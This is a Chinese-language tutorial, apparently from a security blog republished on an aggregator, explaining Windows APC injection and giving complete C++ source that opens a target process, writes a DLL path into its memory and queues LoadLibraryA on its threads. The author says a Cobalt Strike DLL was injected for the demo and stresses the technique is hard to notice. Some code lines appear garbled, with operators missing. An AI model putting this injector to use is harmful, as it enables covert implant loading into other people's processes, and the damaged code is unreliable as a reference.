每一個進程的每一個線程都有自己的APC隊列,我們可以使用QueueUserAPC函數把一個APC函數壓入APC隊列中。當處于用戶模式的APC被壓入到線程APC隊列後,線程并不會立刻執行壓入的APC函數,而是要等到線程處于可通知狀态(alertable)才會執行,即隻有當一個線程内部調用SleepEx等上面說到的幾個特定函數将自己處于挂起狀态時,才會執行APC隊列函數,執行順序與普通隊列相同,先進先出(FIFO),在整個執行過程中,線程并無任何異常舉動,不容易被察覺,但缺點是對于單線程程序一般不存在挂起狀态,所以APC注入對于這類程序沒有明顯效果。
實現過程這裡的常規思路是編寫一個根據進程名獲取pid的函數,然後根據PID獲取所有的線程ID,這裡我就将兩個函數集合在一起,通過自己輸入PID來獲取指定進程的線程并寫入數組
//列出指定進程的所有線程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申請空間 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍攝快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 結構的大小 th32.dwSize = sizeof(THREADENTRY32); // 遍曆所有THREADENTRY32結構, 按順序填入數組 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength ] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; }
然後是apc注入的主函數,首先使用VirtualAllocEx遠程申請内存
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
然後使用WriteProcessMemory把dll路徑寫入内存
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) 1) * sizeof(wzDllFullPath), nullptr)
再獲取LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
遍曆線程并插入APC,這裡定義一個fail并進行判斷,如果QueueUserAPC返回的值為NULL則線程遍曆失敗,fail的值就 1
for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打開線程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail ; } } }
然後在到主函數,定義dll地址
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
使用OpenProcess打開句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
調用之前寫好的APCInject函數實現APC注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf("Failed to inject DLL\n"); return FALSE; }
完整代碼如下
// APCInject.cpp : 此文件包含 "main" 函數。程序執行将在此處開始并結束。 // #include <iostream> #include <Windows.h> #include <TlHelp32.h> using namespace std; void ShowError(const char* pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); } //列出指定進程的所有線程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申請空間 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍攝快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 結構的大小 th32.dwSize = sizeof(THREADENTRY32); //遍曆所有THREADENTRY32結構, 按順序填入數組 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength ] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; } BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { // 申請内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { ShowError("VirtualAllocEx - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 把Dll的路徑複制到内存中 if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) 1) * sizeof(wzDllFullPath), nullptr)) { ShowError("WriteProcessMemory - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 獲得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // 遍曆線程, 插入APC float fail = 0; for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打開線程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail ; } // 關閉線程句柄 ::CloseHandle(hThread); hThread = NULL; } } printf("Total Thread: %d\n", dwThreadIdListLength); printf("Total Failed: %d\n", (int)fail); if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5) { printf("Success to Inject APC\n"); return TRUE; } else { printf("Inject may be failed\n"); return FALSE; } } int main() { ULONG32 ulProcessID = 0; printf("Input the Process ID:"); cin >> ulProcessID; CHAR wzDllFullPath[MAX_PATH] = { 0 }; LPDWORD pThreadIdList = NULL; DWORD dwThreadIdListLength = 0; #ifndef _WIN64 strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll"); #else // _WIN64 strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll"); #endif if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength)) { printf("Can not list the threads\n"); exit(0); } //打開句柄 HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID); if (hProcess == NULL) { printf("Failed to open Process\n"); return FALSE; } //注入 if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf("Failed to inject DLL\n"); return FALSE; } return 0; }
之前說過我沒有使用進程名 -> pid的方式,而是直接采用手動輸入的方式,通過cin >> ulProcessID将接收到的參數賦給ulProcessID
這裡可以選擇寫一個MessageBox的dll,這裡我直接用的是cs的dll,演示效果如下所示
最後
關注私我獲取【網絡安全學習資料·攻略】
,
更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!